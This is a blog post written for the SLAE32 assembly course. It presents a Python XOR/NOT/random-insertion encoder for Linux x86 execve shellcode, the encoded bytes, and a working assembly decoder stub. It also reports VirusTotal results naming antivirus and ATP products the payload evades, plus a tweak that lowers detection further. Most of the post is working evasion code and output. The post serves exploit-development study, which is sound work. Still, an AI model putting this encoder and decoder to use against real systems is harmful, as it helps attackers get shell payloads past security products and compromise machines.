Shellcode Encoder for Linux x86
Introduction
Well, let we make a recap of what we have done since now, we have build a bind shell, a reverse shell and a egghunter shellcode. A lots of nice stuff for hackers out there who want to test their skills, but it’s a useless effort if we want to test this nice things in a real scenario where we can meet Antivirus, ATP or IDS systems. Fortunately, some techniques comes in our help.
In the SLAE course we have study some of this techniques and we appreciated them so much that we decided to use them all together adding a pinch of chaos.
We started using the classic execve-stack
shellcode
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Implementation
As said the idea is to use the techniques studied to inject chars inside the execve-stack shellcode. The explanation of the techniques is not in the purposes of this post. If you want to deeply learn how shellcode encoders works you can search for insertion, XOR and NOT encoders. That said let’s explain what we would implement here. Given that:
- the hexadecimal alphabet have the corrispective decimal range from 1 to 255 values
- the XOR with fixed char results can be avoided xoring the encoded char with the fixed char (A XOR B ) XOR B = A
- the NOT operation results can be avoided repeating the NOT operation on the encoded char
Implementation of our encoder works like that:
- Read each char of the shellcode
- if the decimal value of the char is less of 128, XOR it with the 0xDD char
- put a placeholder after the XOR encoded char
- else NOT the char
- put a different placeholder after the NOT encoded char
- put a random char choosed in a range from 1 to 169
- put the 0xaa char at the end indicates that our shellcode is finished
- print the encoded shellcode
We wrote a python script to do that
Encoder
#!/usr/bin/python
# Python Encoder (XOR + NOT + Random)
import random
green = lambda text: '\033[0;32m' + text + '\033[0m'
shellcode = ("\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
encoded = ""
# The end char is 0xaa
end = "\\xaa"
print 'Encoded shellcode ...'
for x in bytearray(shellcode) :
if x < 128:
# XOR Encoding with 0xDD
x = x^0xDD
# placeholder for XOR is 0xbb
encoded += '\\xbb'
encoded += '\\x'
encoded += '%02x' % x
else:
# NOT Encoding
x = ~x
# placeholder for NOT is 0xcc
encoded += '\\xcc'
encoded += '\\x'
encoded += '%02x' % (x & 0xff)
# 0xaa is 170 in decimal and the others placeholders are > of 170 we don't want random chars like our placeholders
encoded += '\\x%02x' % random.randint(1,169)
print green("Shellcode Len: %d" % len(bytearray(shellcode)))
print green("Encoded Shellcode Len: %d" % len(bytearray(encoded)))
encoded = encoded + end
print encoded
nasm = str(encoded).replace("\\x", ",0x")
nasm = nasm[1:]
# end string char is 0xaa
print green("NASM version:")
# end = end.replace("\\x", ",0x")
print nasm
running the script we obtain an obfuscated shellcode, much larger that than the original, but hey a small but full visible shellcode has no future.
root@slae32-lab:# ./encoder_mixer.py
Encoded shellcode ...
Shellcode Len: 25
Encoded Shellcode Len: 300
\xbb\xec\x73\xcc\x3f\x9d\xbb\x8d\x51\xbb\xb5\x1b\xbb\xb3\x22\xbb\xf2\x79\xbb\xae\x8e\xbb\xb5\x61\xbb\xb5\x3d\xbb\xf2\x6e\xbb\xf2\x9f\xbb\xbf\x10\xbb\xb4\x89\xcc\x76\x2d\xcc\x1c\x2f\xbb\x8d\x91\xcc\x76\x7e\xcc\x1d\x92\xbb\x8e\x80\xcc\x76\x7b\xcc\x1e\xa7\xcc\x4f\x7f\xbb\xd6\x2b\xcc\x32\x24\xcc\x7f\x37\0xaa
NASM version:
0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa
Well, now that we have the encoded shell we have to wrote an assembly decoder, the idea is very simple, the sequence of the chars in shellcode is:
|placeholder|obfuscated shellcode char|random char|
So we need basically 3 functions:
- a decoder for the XOR encoded char
- a decoder for the NOT encoded char
- a switch that read the placeholder and call the right decoder When we reach the end (char 0xaa) our shellcode is encoded, loaded in EDI and ready to be called
Decoder
Let’s move to the assembly code
global _start
section .text
_start:
jmp short call_decoder
decoder:
; the sequence of the chars in shellcode is: placeholder,obfuscated shellcode char,random char
pop esi
lea edi, [esi] ; load the first placeholder char in edi
xor eax, eax
xor ebx, ebx
switch:
mov bl, byte [esi + eax] ; load the placeholder in EBX
cmp bl, 0xaa ; compare it with the shellcode end character
jz shellcode ; if whe reached the end jump to the shellcode
cmp bl, 0xbb ; if the placeholder is 0xbb Zero Flag is set
jz xordecode ; if ZF is set jump to XOR decoder
jmp notdecode ; otherwise jump to NOT decoder
xordecode:
mov bl, byte [esi + eax + 1] ; load the second char (the good one) from where we are
mov byte [edi], bl ; load it in edi
xor byte [edi], 0xDD ; xoring char with 0xdd to obtain the original one
inc edi ; increment edi
add al, 3 ; move to the next placeholder char
jmp short switch ; loop to decode
notdecode:
mov bl, byte [esi + eax + 1] ; load the second char (the good one) from we are
mov byte [edi], bl ; load it in edi
not byte [edi] ; denot char
inc edi ; increment edi
add al, 3 ; move to the next placeholder char
jmp short switch ; loop to decode
call_decoder:
call decoder
shellcode: db 0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa
Now we can try it
It works!
Let see what Virustotal thinks about our shellcode
Well 11 AV detected our shellcode, not perfect but we can deceive ATP like FireEye and AV like BitDefender, F-Secure, Sophos and ClamAV.
This is a prove our shellcode isn’t encoded at best and the encoder itself can be improved but I think this is a good starting point.
You can find this shellcode published on Exploit-DB
Update
Removing the word “Shellcode” from the script improve sensibly our power of obfuscation in Virustotal. In fact using this code to compile and execute the shellcode change positively our results on scan.
As you can see only McAfee mark it as malicious.
This is not an endpoint. To be sure our shellcode is really obfuscated we need to test it on machines running IDS/ATP agents and/or AV. This is the best way to test our obfuscated shellcode, but is out of this post scope. I really appreciate if someone would test it in one or more of the cited environments, please fell free to contact me in this case. Thank you.
All the codes used in this post are available in my dedicated github repo.
This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification: SLAE32 Course
Student ID: SLAE-1476